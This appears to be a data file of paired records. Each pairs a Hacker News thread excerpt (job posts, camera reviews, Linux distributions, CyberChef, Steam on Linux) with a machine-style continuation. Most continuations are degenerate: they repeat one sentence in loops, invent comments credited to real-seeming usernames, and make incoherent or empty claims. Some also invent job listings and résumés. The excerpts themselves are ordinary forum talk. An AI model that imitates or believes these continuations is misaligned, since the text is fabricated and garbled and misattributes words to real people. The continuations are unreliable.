use 90% of what you've learned.\n\nSpend the bare minimum time you need to pass high-school on work that you have\nto get done, devote the rest of your time to the work you want to get done. If\nthat means learning computer programming, do it. I had friends in high-school\nwho managed hosting companies, while at high-school. Guess what, while the\nrest of us were solving stupid problems and learning history, those guys made\nmoney. It's not a bad skill to learn.\n\nAnyways, this discussion could go back and forth... Get off your ars, close HN\nand just f'ing do something!\n\n~~~\npsc\nGreat post. This is the kind of perspective you want to have. This reminds me\nof PG's high school essay:\n\n\"The important thing is to get out there and do stuff. Instead of waiting to\nbe taught, go out and learn.\" \\- PG"} +{"output_text": "\njedberg\nI'm not sure if this is a good thing or not. I'm not a fan of the Windows\nexperience, but I'm not a fan of the Linux experience either.\n\nI'm not sure if this is a good thing or not. I'm not a fan of the Windows\nexperience, but I'm not a fan of the Linux experience either.\n\n~~~\njedberg\nI'm not sure if this is a good thing or not.", "input_text": " Custom media players certainly play to his history and strengths.\n(Shot in the dark: I will guess that the media player is built on GStreamer\nfor the codec support and exposed through QtMultimedia elements.)\n\n~~~\ncaptn3m0\nLooks like Qt + mpv: [https://github.com/linuxdeepin/deepin-movie-\nreborn](https://github.com/linuxdeepin/deepin-movie-reborn)\n\n~~~\nbostik\nOh. My guess was wrong on almost all accounts.\n\n------\nl1n\nTitle should probably be `Huawei has started selling laptops with the Deepin\nLinux OS pre-installed` (no stray `a`)\n\n------\nbjoli\n3:2 aspect ratio on the matebook x! I have said for quite some time that I\nwould wait with buying a laptop until someone else than MS had that aspect\nratio. I guess this means I will be getting a new laptop.\n\n------\nwarabe\nWhy don\u2019t they pre install Ubuntu? It\u2019s so simple, isn\u2019t it?\n\n~~~\ndiffeomorphism\n[https://en.wikipedia.org/wiki/Ubuntu_Kylin](https://en.wikipedia.org/wiki/Ubuntu_Kylin)\n\nIt is.\n\n------\ntype0\nThe beauty is in the eye of the beholder and I don't consider Deepin desktop\nenv more beautiful than Plasma, Budgie, Cinnamon or Gnome. This title is very\nclickbaity, so many distros are have this strage names Clear Linux, Scientific\nLinux, Beautiful Linux, Stupidly Easy Linux etc. You'd never know how \"deep\nin\" the article you will find relevant information.\n\n------"} +{"output_text": "ch engineering team, and we\u2019re looking for engineers\nwho are excited to join us. We\u2019re looking for people who are passionate about\nbuilding great products, and who are excited to work with a small, tight-knit\nteam.\n\nIf you\u2019re interested, please apply at\n[https://tunein.com/careers/](https://tunein.com/careers/)\n\n------\njoshu\nPalo Alto, CA |", "input_text": "unein.com)\n\nSan Francisco, CA - close to Caltrain, across the street from AT&T Park Los\nAngeles, CA - Venice Beach, 2 blocks from Venice Beach Boardwalk\n\nOnsite preferred though we've hired remote folks before. Visa transfers ok and\nwe support new green cards. New visas only if straightforward.\n\nExperienced backend, devops, Android, iOS, and data engineering are our\npriorities right now. Always looking for full stack and/or web devs as well.\n\n[http://tunein.com/careers/](http://tunein.com/careers/)\n\nTuneIn\u2019s mission is to deliver the world\u2019s best listening experiences. We\nachieve this by being the most popular way to listen to streaming audio from\naround the world with more than 60 million monthly active users. Our free\nservice combines over 100,000 free radio stations and more than 5.7 million\non-demand programs stemming from every continent, so our users can listen to\nthe world\u2019s sports, music, news and talk from wherever they are. TuneIn\nPremium encompasses all of that as well as exclusive content, streaming sports\nfrom every major league in the US (NFL, MLB, NBA, NHL...), TuneIn Owned and\nOperated stations including curated content, audiobooks, and over 600\ncommercial free music stations. Our users cover iOS, Android, Web, and dozens\nof connected platforms.\n\nOur stacks are built on MySQL, HBase, MSSQL, Redis, DynamoDB, Golang,.NET,\nReact.js, es6, Swift, and a few more. We believe in using the right tool for\nthe job.\n\nWe value being a top-not"} +{"output_text": ": https://cyanic.com/cv\n Email: cyanic@cyanic.com\n \n\nI'm a full-stack developer with a focus on backend development. I'm looking\nfor a remote position with a good team and a good culture.\n\n------\njames_s_tayler\nLocation: San Francisco, CA\n\nRemote: Yes\n\nWilling to relocate: No\n\nTechnologies: Python, Django, Flask,", "input_text": " contractor (own ltd company), full-stack/front-end\nengineer, designer and open source programmer who's been coding for ~15 years.\n\nI'm currently working on cloud proxy/website optimizer\n[https://oya.to/](https://oya.to/) and an ideal position would be a fully-\nremote contract, full or part-time, but willing to negotiate.\n\n------\nscha\nLocation: New York, NY\n\nRemote: Open\n\nWilling to relocate: No\n\nTechnologies: Sketch, Figma, Adobe CC\n\nR\u00e9sum\u00e9/CV: [https://soheecha.com/wp-content/uploads/2019/10/Sohee-Cha-\nDe...](https://soheecha.com/wp-content/uploads/2019/10/Sohee-Cha-Designer-\nResume.pdf)\n\nPortfolio: [https://soheecha.com](https://soheecha.com)\n\nEmail: soheexcha(at)gmail.com\n\n\\---\n\nI'm Sohee Cha, and I'm looking for an entry or mid-level position as a visual\ndesigner. I say this because my strengths lie in visual design from over 5\nyears working as a graphic designer, but I am ultimately interested in moving\nmy career towards product design.\n\nI currently have 1 year of freelance UX/UI experience.\n\n------\ncyanic\n\n Location: Europe (mostly)\n Remote: Yes (Preferred)\n Willing to relocate: For the right opportunity\n Technologies: Go, Python, C, JavaScript, Linux, Bash, SQL, HTML, CSS, React, Docker, and more\n R\u00e9sum\u00e9/CV"} +{"output_text": "'m not sure if I would have done it, but I think it's\npretty cool that he did it.\n\n------\njedberg\nI'm not sure if I would have done it, but I think it's pretty cool that he\ndid it.\n\n------\njedberg\nI'm not sure if I would have done it, but I think it's pretty cool that he\ndid it.\n\n------\njedberg\nI'm not sure if", "input_text": " vision.\n\nAnd eventually, it boils down to a waste of time for some subset of students,\nwhich is not helpful to our higher education interests.\n\n------\nsjc33\nI found his constant Twitter boasting distasteful and cringeworthy. It always\ncame off like an infomercial.\n\nCoding bootcamps are not all bad, though, it's just that I think if you are\ngoing to do one then 1) you really need a solid financial cushion (either\nparental or own savings) and 2) you should really do a top rated in person\none. I can't imagine doing this through a Zoom for 9 months in my apartment\nalone. The value of having social support you get from instructors and being\naround other students in the same boat as you can't be understated.\n\n------\nchrisyeh\nLambda's marketing is deceptive and should rightly be stopped. But what is so\nbad about a bootcamp with no up front cost that gets 50% of its graduates a\njob? [https://chrisyeh.com/2020/02/the-cost-of-\ncynicism.html](https://chrisyeh.com/2020/02/the-cost-of-cynicism.html)\n\n------\n737min\nFound this blog from last year comparing Lambda to AppAcademy, confirms many\nof the details and adds some.. no involvement with them.\n[https://blog.appacademy.io/app-academy-versus-lambda-\nschool-...](https://blog.appacademy.io/app-academy-versus-lambda-school-which-\none-is-better/)\n\n------\nthroaway1990\nFascinating story. I"} +{"output_text": " brain into thinking\n> that they are receiving a signal from the eyes, when in fact they are not.\u201d\n\nThis is a very interesting idea, but I'm not sure I understand it.\n\n~~~\nnabla9\nIt's a very interesting idea.\n\nThe idea is that the brain is not really receiving signals from the eyes.\nInstead, the brain is receiving signals from the eyes that are generated by\nthe brain.\n\nThe brain is tricking the brain into", "input_text": "mind/\n======\nnabla9\n[https://arxiv.org/abs/1809.08632](https://arxiv.org/abs/1809.08632)\n\nIf I understood the paper correctly, the results are totally unimpressive. The\nexperiment setting seems to me to be intentionally convoluted to sound\nimpressive. Like it's just creative bullshitting.\n\nThis is how it works:\n\n(Edited after scribu corrected me)\n\n1\\. Senders make a decision by concentrating on flashing lights. They use EEG-\ncap to capture difference in spectral power between light flashing 17Hz and 15\nHz using the Welch's method. The choice is difference averaged over several\nepochs in 10-second period (must be very low paced game). Lots of signal\nprocessing and averaging to get yes/no answer between bright 17Hz and 15Hz\nvisual signal from steady state visually evoked potentials.\n\n2\\. This one bit of information was then conveyed to the Receiver using TMS\nusing signal where 10 consecutive pulses is yes, absence of pulses is no.\nThresholds are well calibrated beforehand so that yes/no can transmitted.\nReceivers gets TMS signal that is completely different from what Senders did.\n\n~~~\nscribu\nThe senders do NOT control the cursor by hand. From the paper:\n\n> The Senders convey their decisions of \"rotate\" or \"do not rotate\" by\n> controlling a horizontally moving cursor (Figure 8) using steady-state\n> visually-evoked potentials (SSVEPs).\n\n~~~\nnabla9\nIt seems that you are correct. The cursor is moved by concentrating on the\nlights.\n\n------\npizza\n> \u201cWe essentially \u2018trick\u2019 the neurons in the back of the"} +{"output_text": " owner, not the consumer.\n\nI think the biggest problem with daily deals is that they're not really\npersonalized. I'm not saying that's a bad thing, but it's a problem.\n\nI think the biggest problem with daily deals is that they're not really\npersonalized. I'm not saying that's a bad thing, but it's a problem.\n\nI think the biggest problem with daily deals is that they're not really\npersonalized. I'm", "input_text": " very negative.\nRepeat business is quite low and it mainly attracts the spendthrifts who are\nlooking for a deal. Given the margins that most local businesses have, running\na daily deal means taking a hit on those margins.\n\n2) From a consumer perspective, the novelty of the daily deals market has\nreally worn off. Consumer fatigue has set in and more and more people are\ntired of having their inboxes flooded with emails. Personalization is still a\njoke and ticks people off even further.\n\nIt wont be long before the whole local deal market implodes (think of it --\nthe 2nd largest player - LivingSocial is not yet profitable). Groupon is well\naware of this and so is trying to ramp up its technology platform via\nacquisitions to eventually evolve into something more. Its just a matter of\ntime that the whole thing comes crashing down.\n\n~~~\nMatthewPhillips\nThe local deals is analogous to department store clearance sales. Retailers\nhave perfected the art of the sale and they know that clearance sales are a\ndifferent animal. If someone comes into you store and heads straight to\nclearance they can't be upsold. Don't waste your time on them.\n\nThis is different from your event sale, which _are_ an excellent way to gain\nrepeated customers (and upsell them). There is a future for local deal sites\nbut it needs a different hook with customers.\n\n------\nssharp\nI think there are so many ways technology can help mom + pop type small\nbusinesses inexpensively stay competitive with the numerous forces working\nagainst them (including retail giants with substantially better technology),\nand the huge interest in daily deals justifies this assertion--at least in\nsome small way.\n\nBut the technology needs to help the small business"} +{"output_text": "'re a growing team of over 100 people, and we're looking for talented\nsoftware engineers to help us take our product to the next level. You'll be\nworking with a small, close-knit team, and have the opportunity to make a big\nimpact on the business.\n\nOur stack is primarily Python and Django, but we also work with JavaScript,\nReact, and Go. We're always looking to improve our test coverage and code\nquality, and we have a", "input_text": " Our customers are tier-1 financial institutions and\nlarge multinationals.\n\nAt the moment we're looking for generalist engineers of any experience level.\nWe work in Python, Go, Java and JavaScript. We have two projects with over 1k\nstars on GitHub (one just broke 3k\n[https://github.com/arachnys](https://github.com/arachnys)). We're always\nlooking to open source more.\n\nOur small, tight-knit team has a can-do mentality and isn't scared to use new\ntools when they are the right ones for the job. We have a relentless focus on\nquality of delivery, while not being scared of pushing back on customer\ndemands. (A tier-1 bank recently told us that we were the first supplier that\nhad asked them, \"Why?\", about their requirements.)\n\nDrop me a line (email in profile) if any questions.\n\nEmail jobs@arachnys.com to apply, linking to your GitHub or some other code\nthat you think tells a good story about you.\n\n------\nmajogu\nFreeAgent, Edinburgh and REMOTE (UK-only)\n\n[http://www.freeagent.com](http://www.freeagent.com)\n\nAt FreeAgent we help freelancers and micro-businesses be more successful by\nputting them in control of their company finances.\n\nWe have built an award-winning online accounting product that offers full end-\nto-end compliance, from time tracking to tax return filing. We're based in\nbeautiful Edinburgh and we're growing from strength to strength with over\n55,000 paying customers and strong YoY growth. Our NPS is off the charts (76!)\n- customers love what we do!\n\nWe"} +{"output_text": " I always felt that they were a bit too expensive for what they offered.\n\n~~~\npetercooper\nI think it's a combination of the quality and the price. The quality is\nincredible, but the price is a bit high.\n\n------\njoshu\nI have a Leica M9. It's a great camera.\n\n~~~\npetercooper\nI have a M9 too. It's a great camera.\n\n------", "input_text": " comment, instead of posting a new one. I agree\nwith your sense of freeing, but if, as the author talks about, you'll crop\nmany of your shots, it doesn't sound so freeing then.\n\n~~~\nmjhoy\nI was also surprised about the cropping! For my own photographs I never crop,\nI don't really see the point. But perhaps he is publishing photos, in which\ncase I understand it.\n\n------\nTomte\nUnder the heading \"Video\": \"I think the Q does video.\"\n\nThat's it. I love his writing style.\n\n------\ndsmithatx\nGlad I googled the camera and found out it cost +$4000 before reading are\nreview about it. It should have been the first sentence of the article since\nmost of us will never dream of spending that on a camera.\n\n~~~\npetercooper\nYou'll want to file \"Leica\" away in that area of your brain where brands like\n\"Ferrari\" or \"Rolex\" are. It's basically the equivalent in cameras.\n\n~~~\nbrudgers\nA camera produces artifacts. To _me_ that makes it a bit different than a car\nor a watch: Roli tell the same time, Ferrari's pick up the same cartons of\nmilk, but lenses and sensors and firmware capture different images.\n\nI see Leica as of a kind with other multi thousand dollar cameras...it's not\nas if a Nikon or a Cannon is any more or less reasonable.\n\n------\nVeejayRampay\nI never quite understood Leica. The quality of their products is undoubtedly\nextremely high, I won't try to deny that and they deserve credit for decades\nof excellence in the field.\n\nBut"} +{"output_text": " Nightly yet.\n\n------\njchw\nI\u2019m not sure I understand the problem. If you\u2019re using a VPN, you\u2019re already\nusing a proxy.\n\n~~~\njchw\nI\u2019m not sure I understand the problem. If you\u2019re using a VPN, you\u2019re already\nusing a proxy.\n\n------\njchw\nI\u2019m not sure I understand the problem. If you\u2019re using a VPN,", "input_text": " name FOSS projects have developed a massive paternalist streak\nover the last decade or so.\n\nThis in complete ignorance that what attracted people to them in the first\nplace was to escape the paternalism (and black box nature of proprietary\nsoftware) from the likes of Microsoft.\n\n------\njchw\nDNS over HTTPS being skewed into a bad thing is a new one for me. How could\nthis be worse than sending it in plain text to any other entity? At least in\nthis case it's going to be limited to Cloudflare and not whoever's watching in\nbetween.\n\nIf this is part of what it takes to get this technology rolled out, then do\nwhat it takes imo.\n\n------\nneoeldex\nHmm, it's not great they intend to send this information to the great firewall\nin the sky. If it were mozilla's own servers, I'd re-enable the usage\ncollection on nightly. Bit more of the same with the screencapture features,\nit's a shame we can't host and configure our own services....\n\n------\nHugoDaniel\nAre container tabs already available outside of Nightly?\n\n~~~\nseba_dos1\nI'm using them on Developer Edition, although I think I had to install an\nextension that makes use of them (in my case, Tab Center Redux) in order to\nenable them.\n\n------\nsnowpanda\nWhat about Firefox Beta? Does anyone know?\n\n~~~\nTD-Linux\nA better source is the original posting:\n\n[https://groups.google.com/forum/#!topic/mozilla.dev.platform...](https://groups.google.com/forum/#!topic/mozilla.dev.platform/_8OAKUHso0c)\n\nNot even in"} +{"output_text": "\n\nWe are looking for engineers who are passionate about building great mobile\napps. We are looking for engineers who are passionate about building great\nmobile apps. We are looking for engineers who are passionate about building\ngreat mobile apps.\n\nWe are looking for engineers who are passionate about building great mobile\napps. We are looking for engineers who are passionate about building great\nmobile apps. We are looking for engineers who are passionate about building\ngreat mobile apps.\n\nWe are looking for", "input_text": " self-\ntaught, and we value resourcefulness over previous experience. This is a full-\ntime role on-site in the Financial District of New York City, and we cannot\nsponsor a visa. To apply, send us a resume, and links to your blog, projects,\nGithub, and any other resources that might help us understand your background\nand skills.\n\nEmail Peter at jobs@quill.org\n\nTo learn more about Quill, check out these links:\n\n\\- [https://quill.org/play](https://quill.org/play)\n\n\\- [https://medium.com/writing-with-quill](https://medium.com/writing-with-\nquill)\n\n\\- [https://twitter.com/Quill_org](https://twitter.com/Quill_org)\n\n------\nshawneebaughman\nSTRIVR Labs | Menlo Park CA | Onsite | Full Time | Multiple Development Team\nPositions STRIVR Labs has been successfully training college and professional\nathletes in VR since 2014. Our company is now expanding to provide training\nsolutions for all enterprises. We've got big players on board and need more\ntalent to help us engineer fantastic training experiences in VR. We are hiring\nfor the following positions: Unity VR developer, 3D Modeler, Web Developer,\nBackend Developer, Frontend Developer, Data Science programmer\n\nSee job descriptions in detail on the Jobs page of our website: strivrlabs.com\n\n------\nadamgluck\nUber | San Francisco | Fulltime | Android | iOS\n\nInterested in a highly leveraged, collaborative engineering role at the heart\nof Uber's core product? Awesome. We are hiring on the Driver Platform team at\nUber."} +{"output_text": " that are really good. I think the\nreason is that the web is moving away from the \"web 1.0\" design style. I\nthink the best ones are the ones that are a bit more modern.\n\n------\njamesjyu\nI'm a designer, and I'm a programmer. I've been doing both for a long time.\n\nI think the biggest difference is that I'm a designer first. I'm not a\nprogrammer first. I'm", "input_text": " started working as a developer, I worked in web studio that\nalso did great design. But they also gave me the ability to try and design\nstuff along them. They taught me about typography, layouts etc. I even did\nsome print stuff because I wanted to learn it. Little by little pieces started\nto fall in place. I'm far from great designer, but I can design things that\nare nice and usable. The biggest problem is that I really like boxes. When I'm\ndesigning stuff I'm automatically placing things so they can be easily sliced.\nBut I'm working on it.\n\nMy advice is to just start working on some designs, and to find some friendly\ndesigner that will help you with constructive criticism.\n\n------\nyatsyk\nI very impressed with level of design work of Rails Rumble winners. Are any\nblog posts from contestants about design process, tools, resources they used\n(stock images, templates) and so on?\n\n------\njayair\nI do both and I am trying to help other hackers figure out more about design\nas well.\n\nA: I usually have a vision in mind for the project or the feature. To do this\nI try and break it down into smaller parts and optimize for the one thing I\nwant the users to do for that part. For complicated designs I go through ideas\non a notepad before I settle on something. The most important part of this\nprocess is to understand why a certain design element needs to be put in. If\nmy design elements lack purpose I take them out.\n\nOnce I have that then I go about building stuff. Sometimes the end result will\ndiffer from the vision in which case it might literally be \"back to the\ndrawing board\".\n\nB: I haven't found too many recent ones"} +{"output_text": "ul_stamets_the_mycelium_mushroom...](https://www.ted.com/talks/paul_stamets_the_mycelium_mushroom_can_save_the_world)\n\n------\njimmywanger\nI'm not sure if this is a good idea.\n\nThe article mentions that the soil is \"saturated with carbon\".\n\nSoil is a carbon sink.\n\nSo", "input_text": " efforts to find funding to continue\nin that direction were not productive. I guess we were just better software\ndevelopers than sales people. :-) Plus we have learned a lot since then about\na more incremental development style.\n[http://gardenwithinsight.com/nsfprop.htm](http://gardenwithinsight.com/nsfprop.htm)\n\nAnyway, I can hope that using that Garden Simulator software as an initial\nreference point can help a next generation of soil scientists and free\nsoftware developers create even better software for research, education, and\napplications from bringing soil anywhere back to life. :-)\n\n~~~\nroel_v\nThank you, very interesting. I feel your pain wrt converting Fortran models;\nI've spend quite some time doing it for models similar to EPIC. In fact, about\n7-8 years ago in a fit of hubris, we submitted a proposal as part of which I\nwould integrate EPIC into some other models, as a part of which I would have\nto convert it to C++; IIRC I estimated about 6 months for it. TBH I do have\nlarge libraries of simulation framework, so it would mostly be understanding\nequations and converting them. Still, I'm happy we didn't win that proposal :)\n\n------\nbeautifulfreak\nPaul Stamets has studied the soil restorative effects of mycellium mushroom\nand published a number of videos. In this Ted Talk at the 10 minute mark,\nthere's a demonstration of just how rapidly a patch of ground can be\ntransformed compared to other commonly used methods, even land polluted with\ndiesel fuel, which the mycellium rapidly breaks down into harmless compounds.\nAll the videos are fascinating.\n[https://www.ted.com/talks/pa"} +{"output_text": " not a good fit for him.\n\n~~~\nmartijn_himself\nThanks for the clarification. I guess I was a bit confused by the X100T being\na fixed lens camera.\n\n------\njoshu\nI have a Leica M9 and love it. I'm not sure I'd want to go back to a DSLR.\n\n~~~\njoshu\nI'm not sure why this is getting downvoted. I'm not saying that the", "input_text": " quality (though there are certainly\nmany very good shots). But where the Leica excels is razor sharp images that\ndon't have any hint of \"is that sharpened in Photoshop?\" (for example:\n[http://i1.wp.com/www.stevehuffphoto.com/wp-\ncontent/uploads/2...](http://i1.wp.com/www.stevehuffphoto.com/wp-\ncontent/uploads/2012/11/L1000366.jpg) )\n\n~~~\nfoldr\nIt looks pretty ordinary to me, to be honest. Even entry level DSLRs produce\nvery sharp images these days.\n\n------\nkeltex\nThe alternative camera (and one for 1/4 the price) is the Fuji X100T. Many\npeople love this camera:\n\n[http://www.kenrockwell.com/fuji/x100t.htm](http://www.kenrockwell.com/fuji/x100t.htm)\n\n~~~\nmartijn_himself\nI posted exactly this comment and then I noticed yours. Are these camera's\nactually comparable or is it apples and oranges?\n\n~~~\nalistairSH\nYes and no.\n\nThey are comparable, in that they are both fairly compact, fixed prime lens\ncameras that offer high quality (camera build and image).\n\nThey are not comparable,as the Leica has a better/faster autofocus system. In\ntheory it has better optics as well, though I haven't seen a side-by-side.\n\nA good friend is a professional photographer. His carry-around fun camera is\nthe X100T. I think his professional-grade stuff is Nikon. I'm sure he'd love\nthe Leica, but it's"} +{"output_text": " not sure if I'm going to use the ticker data or the\nstock splits.\n\n~~~\nikea_meatballs\nI'm not sure if I'm going to use the ticker data or the stock splits.\n\nI'm going to use the ticker data.\n\n------\njoshu\nI'm not sure I understand the point of this.\n\nIf you're going to use ticker data, you're going to have to use the tick", "input_text": " an extent that the valid data points available (the past few\nyears of price variations) would not suffice to train even a very low-\ndimensional latent model.\n\n------\nikea_meatballs\nBack testing is a real bitch. I've been building my own app for back testing\nrecently, my specific interest being how published insider buys (SEC Form 4\ntransactions) affect the prices of stocks in the short near and long term. You\ncan get dividend data and stock splits easily enough from some public feeds.\nBut where do you get a database of ticker changes, bankruptcy events, and\nspin-offs, especially on the OTC markets? You can't unless you're willing to\nshell out a lot of money. Back testing properly is probably out of the cost\nrange of the individual investor.\n\nSome examples:\n\n* Lehhman's ticker changes on the way down\n\n* GM going bankrupt and then coming back from the dead!\n\n* Skye International used to trade under SKYY (at 0.35c/share), but now SKYY tracks a cloud SaaS ETF 20.60/share). Think you got a big win using that strategy that including buying SKYY? Think again!\n\n~~~\nkal00ma\nI've been working on a similar strategy after having read Nejat's book:\n[http://www.amazon.com/Investment-Intelligence-Insider-\nTradin...](http://www.amazon.com/Investment-Intelligence-Insider-Trading-\nSeyhun/dp/0262692341)\n\nThe plan is to derive trading signals from insider purchase data while taking\ninto account the insider's relative risk-aversion (estimated from age, salary,\nsex). At this point I'm"} +{"output_text": "Tube's new design is a disaster - jon_dahl\nhttp://www.businessinsider.com/youtube-new-design-is-a-disaster-2012-11\n\n======\njamesjyu\nI'm not sure if this is a good thing or not. I think it's a good thing that\nthey're trying to make the site more mobile friendly.\n\nI think the new design is a good thing for the site. It's a", "input_text": " no room for web applications that could\nbe accessed from a good ol' desktop pc? How come is that?\n\n------\nel_presidente\nPeople love to whine about changes to websites. OTOH, nobody complains when\ntheir TV remote changes layout or when their living room rearranges itself\novernight.\n\nIt's a double standard.\n\n------\ntomrod\nWhat? Gmail redesigned? I use a desktop client, so I never really focus on the\nwebside.\n\n------\nmkramlich\nI also think the new design is a step backwards in usability. And yes I\nthought we all learned by now that symbolic icons are not as good as text\nlabels. That's pretty much the point of human languages like English -- they\nare symbols which have a meaning, and you arrange them in different ways to\nconvey different meanings. Given a choice between some arbitrary shape and the\ntext \"STOP\", guess which one will more clearly and unambiguously convey\n\"STOP\"?\n\n~~~\ngujk\nThe pencil icon, obviously. Or maybe the square with a rectangle on top.\n\n------\ngcb\neven though i think windows is wrong by not unpleasing users with design\nchanges for the better... and not agreeing that white space _may_ be ok to\nseparate the tag list and the message, there's no excuse to:\n\n1\\. the buttons without labels. your user WILL have to hover the mouse every\ntime he forgets one button.\n\n2\\. the fact that it moved from a huge clickable area to 17x17px button to see\nthe message headers (and that the header information was vastly reduced)\n\nmaybe some huge user testing proved those right... but my constant cursing\nsays that at least a 5% exist.\n\n \nYou"} +{"output_text": "\nworking in tech), I would love to learn more about your company.\n\nI am a recent graduate from the University of Michigan, and I am interested\nin working in the tech industry. I have a strong background in web\ndevelopment, and I am interested in learning more about the healthcare\nindustry.\n\nI am currently looking for a full-time position in the NYC area.\n\nI am available for an on-site interview, or I can come to the office", "input_text": "247940)\nSoftware Engineer: Data/Systems (NYC)\n[https://www.hioscar.com/about/jobs/?gh_jid=248056](https://www.hioscar.com/about/jobs/?gh_jid=248056)\nSoftware Engineer: New Grad (NYC)\n[https://www.hioscar.com/about/jobs/?gh_jid=261348](https://www.hioscar.com/about/jobs/?gh_jid=261348)\nSoftware Engineer: Internship Summer 2017 (NYC)\n[https://www.hioscar.com/about/jobs/?gh_jid=268766](https://www.hioscar.com/about/jobs/?gh_jid=268766)\nSoftware Engineer: SWAT (NYC)\n[https://www.hioscar.com/about/jobs/?gh_jid=261602](https://www.hioscar.com/about/jobs/?gh_jid=261602)\nSoftware Engineer: Product Infrastructure (NYC)\n[https://www.hioscar.com/about/jobs/?gh_jid=240077](https://www.hioscar.com/about/jobs/?gh_jid=240077)\n\nOscar was valued at $2.7 billion following a $400 million investment by\nFidelity. Take a look at how we're simplifying healthcare:\n[http://incredibleinsurancemachine.com](http://incredibleinsurancemachine.com)\n\n~~~\ncharleshkang\nHi Erin!\n\nIf my background is not traditional(went from being a professional chef to"} +{"output_text": " peak hours of the\nday.\n\n------\njrockway\nI'm not sure I understand the point of this.\n\nIf you want to play games, you can buy a Windows license. If you want to play\ngames on Linux, you can buy a Linux license. If you want to play games on\nSteam, you can buy a Steam license.\n\nIf you want to play games on Linux, you can buy a Linux license. If you want\nto", "input_text": " tuned for plenty more coverage. Of the six years that Phoronix has been\naround providing many exclusive news stories and Linux hardware/software\ncoverage, Valve's move with the Steam Linux client / Source engine will likely\nprove to be the most significant event and opportunity that the Linux desktop\nhas been provided at least since the time of the initial Linux netbook push,\nif not since the entire time we've been around. Only time will tell though if\nLinux vendors and stakeholders will fully capitalize upon the opportunity that\nhas the potential of greatly expanding the Linux desktop user-base.\n\n~~~\nramy_d\npage takes for ever to load, here's the article\n\n~~~\nytilibitapmoc\nThank-you from those of us behind brain-dead filtering proxies... :-)\n\n~~~\noomkiller\nWould you rather the proxy be sentient like GLaDOS? ;)\n\n~~~\njrockway\nAs long as the morality core doesn't fall off.\n\n------\nkrschultz\nSo now Linux users: BUY BUY BUY.\n\nI'll be sure to buy a few things from it once it is available even if I'm not\nlikely to play many games.\n\nPassively supporting this isn't very helpful, vote with your wallet. The more\nmoney they make the better it is for Linux in the future.\n\n~~~\njws\nInside the Steam program:\n\n \n \n Failed to load web page (unknown error).-324\n Failed to load web page (unknown error).\n \n\nThen after much reloading a simply black screen. It seems they did not plan to\nservice the spike.\n\n~~~\nTeHCrAzY\nUnlikey, the load from this is being produced during the"} +{"output_text": "to spend time with. I also have a wife that is a stay at home mom.\n\nI ended up taking a job offer in the Bay Area that was closer to home and\nwould allow me to spend more time with my family.\n\nI'm not saying that you should take the job in Palo Alto, but I would\ncertainly consider it if you were in a similar situation.\n\n------\njoshu\nI'm in the same boat. I have a", "input_text": " your question, because I'm asking similar questions! The\nhousing market seems prohibitive for a family to move to the area, especially\nfor someone who wants to keep their family as their main priority.\n\nHave you looked south, to Morgan Hill or Gilroy? That's a longer commute, but\nit seems like you can get more for your money. And many companies offer\nshuttles so you can at least avoid some of the traffic pain.\n\nI've also read that the housing market is very competitive, and there are many\noffers on houses. So if you look for real estate and find things you might\nlike, that doesn't mean you'll get it. You may end up settling for what's left\nover after the cash buyers with offers 10% over asking price have cleaned up\nthe good stuff.\n\nIf I were single or even young and married with no kids, I'd make the move in\na heartbeat just for the sense of adventure and to see what happened. With\nkids and a family (especially kids in middle school), it's not so easy. It's\nimportant to settle somewhere good on the first try and not risk moving around\na lot. It seems very daunting to find a place to live, with good schools, a\nsafe and nice neighborhood, with a commute that is doable, and a house that\nisn't a million dollars.\n\nI guess you can't have it all.\n\n------\nhkarthik\nI was in almost the exact situation as you about a year ago.\n\nI had an offer in hand from a well known company in Palo Alto to join one of\ntheir innovation labs. From a career standpoint, it would have been a game\nchanger.\n\nHowever, like yourself, I have a young family with small children that I like\n"} +{"output_text": " trusting it.\n\n------\njedberg\nI'm not sure if this is a good idea, but I'm going to try it out.\n\nI'm a big fan of the idea of a \"CyberChef\" that can be used by anyone.\n\n~~~\njedberg\nI'm not sure if this is a good idea, but I'm going to try it out.\n\nI'm a big fan of the idea of a \"CyberChe", "input_text": "\nThis looks kind of neat (and not too dissimilar to my own software -- see\nbio), though I can't seem to make it work (or \"Bake\"?).\n\nIt also reminds me of OpenRefine, another very cool online data processing\ntool with a slightly different focus.\n\n~~~\nkim031\nYou need to drag specific operation(s) from Operations and drop them into\nRecipe. And then supply input(s) in Input tab. You can also check the Auto\nBake icon in the bottom.\n\n~~~\nken\nAh, that's it! I discovered that I could add operations by double-clicking\nthem, but I was so intent on trying to find a \"type some raw input\" operation\nthat I completely missed the \"Input tab\".\n\n------\njdrosenthal\nSome great operations in there. Especially [Other > XKCD Random Number]\n\n[https://gchq.github.io/CyberChef/#recipe=XKCD_Random_Number(...](https://gchq.github.io/CyberChef/#recipe=XKCD_Random_Number\\(\\)&input=SW5wdXQ)\n\"RFC 1149.5 specifies 4 as the standard IEEE-vetted random number.\"\n\n~~~\nflixic\nThere\u2019s also Numberwang function.\n\n------\nanewguy9000\nnice!\n\nso is any of the input feeding back to GCHQ?\n\n~~~\nrtempaccount1\nshouldn't be it's purely client-side. And of course, if you don't trust them,\njust stick a proxy in-line and watch for traffic.\n\n~~~\nFnoord\nIf you don't trust it you can use it in a VM without"} +{"output_text": "printers are in there).\n\n------\njosteink\nI\u2019m not sure if I\u2019m missing something, but this is a pretty big step back.\n\nI\u2019m not sure if I\u2019m missing something, but this is a pretty big step back.\n\nI\u2019m not sure if I\u2019m missing something, but this is a pretty big step back.\n\nI\u2019m not sure if I\u2019m missing something, but this is a pretty", "input_text": " \n apk add --update build-base\n \n\nEDIT: Make is not being installed by default. But I would like to manually\ninstall GCC as needed (for a truly minimal image).\n\nEDIT2: I stand corrected. Looks like GCC isn't installed by default (which is\nexactly what we want for minimal images). Awesome.\n\n~~~\nroller\nThe gcc-7-base package (assuming that's what you're looking at) looks like\nit's just an empty directory to put various gcc things and some basic docs.\n\n[https://packages.debian.org/sid/gcc-7-base](https://packages.debian.org/sid/gcc-7-base)\n\n[https://packages.debian.org/sid/amd64/gcc-7-base/filelist](https://packages.debian.org/sid/amd64/gcc-7-base/filelist)\n\n~~~\nverst\nThanks! I was looking at [1] and wasn't sure if those were binaries.\n\nThat's perfect then. Install GCC, compilers, build headers etc via `sudo apt-\nget install build-essential` when necessary. So this should be the same\ngeneral approach as on Alpine.\n\n[1]:\n[https://pastebin.ubuntu.com/26506363/](https://pastebin.ubuntu.com/26506363/)\n\n~~~\ngeofft\nlibgcc_s.so.1 is a collection of utility routines used by all sorts of\nprograms. The entry named \"gcc\" is a directory (that contains only empty\ndirectories?). /usr/share/gcc-7/python/libstdcxx/ is from the libstdc++6\npackage (looks like 